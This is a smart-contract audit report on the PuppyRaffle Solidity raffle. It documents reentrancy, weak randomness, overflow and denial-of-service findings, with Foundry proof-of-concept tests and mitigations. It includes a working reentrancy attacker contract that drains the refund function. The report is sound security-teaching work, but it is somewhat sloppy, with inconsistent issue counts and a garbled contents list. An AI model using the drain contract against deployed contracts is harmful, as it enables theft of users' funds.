Protocol Audit Report

Version 1.0

Cyfrin.io

February 22, 2024

PuppyRaffle Audit Report

Tobezzi

Feb. 22, 2024

Prepared by: Tobezzi Lead Auditors:

- Tobez

Table of Contents

    * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and predict the winning puppy

- **Recommended Mitigation:**Consider using an oracle for your randomness like Chainlink VRF.

    * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

- Medium

    * [M-1] Denial of Service, it would become too expensive to run when you loop through players in `PuppyRaffle::enterRaffle`
    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
    * [M-4] Overflow for `uint64 totalFees` in `PuppyRaffle::selectWinner`.

- **Recommended Mitigation:** Use newer version of solidity or bigger uints for all .

- Low

    * [L-1] `PuppyRaffle::getActivePlayerIndex` function returns `0` for non-existent players and for players at index 0, causing the player at index 0 to incorrectly think they have not entered the raffle yet.

- **Recommended Mitigation:** Using a revert function when the player is not in the array is better than returnin 0

- Gas

    * [G-1] unchanged state variables should be constant or immutable
    * [G-2] storage variable n a loop should be cached

- Informational

    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using AN OUTDATED version of solidity is not recommended.
    * Recommendation
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `puppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-5] Magic Numbers can caused confusion
    * [I-6] Test Coverage
    * [I-7] Zero address validation
    * [I-8] _isActivePlayer is never used and should be removed
    * [I-9] Potentially erroneous active player index
    * [I-10] Zero address may be erroneously considered an active player

- Gas (Optional)

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy

Disclaimer

The Tobez team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

- In Scope:

```
./src/
@-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Love the code

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	0
Info	8
Total	16

Findings

High

[H-1] Reentrance attack of the PuppyRaffle::refund allows entrants to drain balance

Description: The PuppyRaffle::refund method doesnt follow CEI(checks, effect and interaction) rules. This allows an attacker to continue calling the external payable(msg.sender).sendValue(entranceFee); before their wallet is reset in the array.

```
function refund(uint256 playerIndex) public {

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who entered the contract with a fallback/receive method that calls thepuppyRaffle::refund function can loop through till they drained the contract balance.

Impact: All fees paid by raffle entrants could be stolen by the attacker.

Proof of Concept:

1. User enters the raffle
2. Attackers sets up a contract with a fallback/receive method that calls the PuppyRaffle::refund function
3. Attacker enter the raffle
4. Attacker call PuppyRaffle::refund function and drain the contract.

Proof of Code:

Code This is the test prove my concept

```
function test_reentrancyRefund() public {
         address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
```

```
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value:entranceFee}();

        console.log("starting  attacker contrack balance",
            startingAttackerContractBalance);
        console.log("starting contrack balance",
            startingContractBalance);
        console.log("ending attacker contrack bal", address(
            attackerContract).balance);
        console.log("ending contrack balance", address(puppyRaffle).
            balance);

    }
```

This is the attacker contract

```

contract ReentrancyAttacker{
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle){
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable{
            address[] memory players = new address[](1);

            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
            attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                this));
            puppyRaffle.refund(attackerIndex);
        }
        function _stealMoney() internal{
              if(address(puppyRaffle).balance >= entranceFee){
                puppyRaffle.refund(attackerIndex);
            }
```

```
24          }
25          fallback() external payable{
26            _stealMoney();
27
28          }
29          receive() external payable{
30              _stealMoney();
31          }
32      }
```

Recommended Mitigation: To prevent this, we should have the `puppyRaffle::refund`method update the `players` array before making the external call. Additionally we should move the event emission as well.

```
1
2       function refund(uint256 playerIndex) public {
3
4           address playerAddress = players[playerIndex];
5           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
6           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
7   +       players[playerIndex] = address(0);
8   +       emit RaffleRefunded(playerAddress);
9           payable(msg.sender).sendValue(entranceFee);
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable random number. A easy guess number is a bad randomness. And an attacker can manipulate this value or know them before the time and use it to their advantage.

– They could front-run the function and call `refund` if they see they didnt win

Impact: Any user can choose the winner of the raffle, winning the money and selecting the “rarest” puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept: There are a few attack vectors here.

1. Validators can know ahead of time the block.timestamp and block.difficulty and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. block.difficulty was recently replaced with prevrandao.
2. Users can manipulate the `msg.sender` value to result in their index being the winner. Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation:Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Denial of Service, it would become too expensive to run when you loop through players in `PuppyRaffle::enterRaffle`

Description: The `PuppyRaffle::enterRaffle` functions loop through the `players` array and with every additional player it become expensive to run. And would result in lower entry and eventually no one would want to enter because of the gas cost.

```
>@  // Check for duplicates
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
                //@audit  what if there is more than 1k... denial of
                    service, gas get expensive
            }
        }
```

Impact: The gas cost for raffle entrants will increase as more players enter. Players will rush to be the first to enter and cause gas to jump very high. An attacker can make it expensive to enter the raffle by crowding the entry array.

Proof of Concept: Gas get expensive

- gas used by 1000 players 417422113
- gas used by 2nd 1000 players 1600813051 3x more expensive for 2nd set of players

PoC

```

    function testCantRunManyEntryDOS() public{
     vm.txGasPrice(1); // use to set gas price
    address[] memory players = new address[](1000);
    for (uint256 i = 0; i < 1000; i++) {
```

```
6           players[i] = address(i); // You might need to replace this with
                actual player addresses
7       }
8       uint256 gasStart = gasleft();
9       puppyRaffle.enterRaffle{value: entranceFee * 1000}(players);
10      uint256 gasEnd = gasleft();
11
12      uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
13      console.log("gas used by 1000 players", gasUsedFirst);
14
15      // now for second set of players
16       address[] memory playersTwo = new address[](1000);
17      for (uint256 i = 0; i < 1000; i++) {
18          playersTwo[i] = address(i + 1000); // You might need to replace
                this with actual player addresses
19      }
20      uint256 gasStartSecond = gasleft();
21      puppyRaffle.enterRaffle{value: entranceFee * 1000}(playersTwo);
22      uint256 gasEndSecond = gasleft();
23
24      uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
           gasprice;
25      console.log("gas used by 2nd 1000 players", gasUsedSecond);
26
27      assert(gasUsedFirst < gasUsedSecond);
28
29      }
```

Recommended Mitigation: 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesnt prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13 -         // Check for duplicates
14 +         // Check for duplicates only from the new players
15 +         for (uint256 i = 0; i < newPlayers.length; i++) {
```

```
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +       }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -            }
22 -        }
23         emit RaffleEnter(newPlayers);
24     }
25 .
26 .
27 .
28     function selectWinner() external {
29 +       raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelins EnumerableSet library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees perma-

nently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to

restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

[M-4] Overflow for `uint64 totalFees` in `PuppyRaffle::selectWinner`.

```
        uint256 fee = (totalAmountCollected * 20) / 100;

        // might overflow here
        totalFees = totalFees + uint64(fee);
```

Description: Typecasting a `uint256 fees` to a `uint64` can lead to overflow. This could lead to errors when sending fees to he owner of the contract.

Impact: If the amount becomes bigger than `uint64`the amount will wrap around and become much lower than expected. This will result in a lost for the contract fund and even lead to withdrawal issues in `PuppyRaffle::withdrawFees`

Proof of Concept:

```
function testCanGetOverflowFee() public playersEntered{
    // after more than 4 players enter the PuppyRaffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees(); //0

    uint256 playersNum =89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++){
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value:entranceFee * playersNum}(players);

```

```
16      vm.warp(block.timestamp + duration + 1);
17      vm.roll(block.number +1);
18
19      puppyRaffle.selectWinner();
20      uint256 endingTotalFees = puppyRaffle.totalFees();
21      console.log("total ending fes", endingTotalFees);
22      assert(endingTotalFees < startingTotalFees);
23
24      vm.prank(puppyRaffle.feeAddress());
25      vm.expectRevert("PuppyRaffle: There are currently players active!")
            ;
26      puppyRaffle.withdrawFees();
27
28      }
```

Recommended Mitigation: Use newer version of solidity or bigger uints for all .

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` function returns 0 for non-existent players and for players at index 0, causing the player at index 0 to incorrectly think they have not entered the raffle yet.

Description: if a player is at index 0 in the `PuppyRaffle::getActivePlayerIndex` array this will return o but also it should return 0 if the player is not in the array according to the natspec

```
1   function getActivePlayerIndex(address player) external view returns (
       uint256) {
2           for (uint256 i = 0; i < players.length; i++) {
3               if (players[i] == player) {
4                   return i;
5               }
6           }
7
8           return 0;
9       }
```

Impact:A player at index 0 may think they have not enter and will try to enter again

Proof of Concept:

1. User enter the raffle, they are the index 0
2. `PuppyRaffle::getActivePlayers()` returns 0
3. user thinks they have not entered correctly due to the function documentation

Recommended Mitigation: Using a revert function when the player is not in the array is better than returnin 0

Gas

[G-1] unchanged state variables should be constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable

Instances:

- `PuppyRaffle::raffleDuration` should be immutable
- `PuppyRaffle::commonImageUri` should be constant
- `PuppyRaffle::rareImageUri` should be constant
- `PuppyRaffle::legendImageUri` should be constant

[G-2] storage variable n a loop should be cached

Everytime you call `PuppyRaffle::enterRaffle` you read from the storage `players.length` instead of reading from the memory which is gas efficient.

```
+       uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
                //@audit  what if there is more than 1k... denial of
                    service, gas get expensive
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
    pragma solidity ^0.7.6;
```

[I-2] Using AN OUTDATED version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Please seeslither fo more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 64

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 164

```
1           previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 186

```
1           feeAddress = newFeeAddress;
```

[I-4] `puppyRaffle::selectWinner` does not follow CEI, which is not a best practice

it's best to keep code clean and follow CEI

```
1  -        (bool success,) = winner.call{value: prizePool}("");
2  -        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3           _safeMint(winner, tokenId);
4  +         (bool success,) = winner.call{value: prizePool}("");
5  +         require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Magic Numbers can caused confusion

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-6] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-7] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/PuppyRaffle.sol#57) lacks a zero-check on :
                - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.sol#165) lacks a zero-check on :
                - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-8] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-9] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-10] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas (Optional)

// TODO

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the refund function.
- MEV with withdrawfees
- randomness for rarity issue
- reentrancy puppy raffle before safemint (it looks ok actually, potentially informational) ““